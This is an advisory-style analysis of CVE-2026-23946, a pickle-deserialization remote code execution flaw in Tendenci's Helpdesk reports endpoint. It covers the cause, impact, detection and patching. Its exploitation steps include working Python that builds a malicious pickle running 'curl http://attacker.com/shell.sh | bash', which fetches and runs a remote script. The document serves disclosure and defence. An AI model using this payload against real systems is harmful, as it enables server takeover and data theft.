CVE-2026-23946: 
Python vulnerability analysis and mitigation

CVE-2026-23946 is an authenticated remote code execution (RCE) vulnerability in the Tendenci Helpdesk module, caused by unsafe use of Python's pickle module in the run_report() function at the helpdesk /reports/ endpoint. It affects Tendenci versions 15.3.11 and earlier and represents an incomplete patch of the original CVE-2020-14942, where ticket_list() was fixed but run_report() was left vulnerable. The vulnerability was disclosed on January 21, 2026, via a GitHub Security Advisory. It carries a CVSS v3.1 base score of 6.8 (Medium), requiring high privileges and user interaction (GitHub Advisory).

The root cause is deserialization of untrusted data (CWE-502) combined with improper code injection control (CWE-94), specifically the use of pickle.loads() on attacker-controlled, base64-encoded data stored in the SavedSearch.query field within tendenci/apps/helpdesk/views/staff.py. While the prior CVE-2020-14942 patch replaced pickle.loads() with simplejson.loads() in the ticket_list() function (line 763), the run_report() function (line 1062) was overlooked and continued to deserialize data using the unsafe pickle module. An authenticated staff-level user can craft a malicious pickle payload, save it as a query, and trigger deserialization by accessing the helpdesk /reports/ endpoint. The Helpdesk module must be explicitly enabled (it is off by default) for this attack path to be reachable (GitHub Advisory, GitHub Issue #867).

Successful exploitation allows an authenticated staff-level user to execute arbitrary code on the server running the Tendenci application. The impact is bounded by the permissions of the application's runtime user (typically www-data), which generally has limited write access (restricted to upload directories) and no execute permissions on system binaries. Within those constraints, an attacker could read sensitive application data, modify application functionality, exfiltrate stored information, or cause denial of service (GitHub Advisory).

A proof-of-concept reference exists via the original GitHub issue (#867), which documents the deserialization attack path in detail. There is no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.187%, indicating low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with staff-level privileges and user interaction, significantly limiting the attacker pool (GitHub Advisory, GitHub Issue #867).

1. Prerequisite: Obtain or compromise a Tendenci staff-level (is_staff) user account on a target instance with the Helpdesk module enabled.
2. Craft malicious pickle payload: Generate a Python pickle payload that executes arbitrary code upon deserialization. Example using Python:

   import pickle, os, base64
   class Exploit(object):
       def __reduce__(self):
           return (os.system, ('curl http://attacker.com/shell.sh | bash',))
   payload = base64.b64encode(pickle.dumps(Exploit())).decode()

3. Save the payload as a query: Authenticate to the Tendenci application and submit the base64-encoded pickle payload as the query_encoded field via the helpdesk save query functionality (POST to the save_query endpoint), storing it in the SavedSearch database record.
4. Trigger deserialization: Navigate to or send a request to the helpdesk /reports/ endpoint that invokes run_report(), which calls pickle.loads() on the stored query data, executing the embedded payload.
5. Achieve code execution: The payload executes in the context of the www-data (or equivalent) user, enabling actions such as reverse shell establishment, data exfiltration from the application database, or further enumeration of the server environment (GitHub Advisory, GitHub Issue #867).

• Network: Unexpected outbound connections from the web server process (e.g., www-data) to external IPs or domains, particularly following requests to the helpdesk /reports/ endpoint.
• Logs: Web server access logs showing POST requests to the helpdesk save_query endpoint with unusually large or base64-encoded query_encoded parameters; subsequent GET/POST requests to /helpdesk/reports/ from the same staff account.
• File System: New or modified files in upload directories (the only writable paths for www-data); unexpected scripts or web shells placed in media/upload folders.
• Process: Unusual child processes spawned by the Python/Django application process (e.g., curl, wget, bash, sh, python) that are not part of normal Tendenci operation.
• Database: SavedSearch records containing abnormally long or non-JSON-decodable query field values that appear to be binary/pickle data rather than base64-encoded JSON.

Upgrade Tendenci to version 15.3.12 or later, which replaces pickle.loads() with safe JSON deserialization in the affected functions and adds input validation to the save_query endpoint (GitHub Advisory, Patch Commit). If immediate patching is not feasible, disable the Helpdesk module (it is not enabled by default), restrict staff-level account assignments to trusted users only, and implement network controls to limit access to the helpdesk /reports/ endpoint. Audit existing SavedSearch database records for suspicious binary-encoded query values as a precautionary measure.

The vulnerability was credited to researcher nedlir in the GitHub Security Advisory. The Tendenci maintainer (jennyq) published the advisory and confirmed that all hosted Tendenci sites were patched, noting that none of their client sites had the Helpdesk module enabled. No significant broader media coverage or notable community debate has been identified beyond the advisory and associated GitHub issue (GitHub Advisory).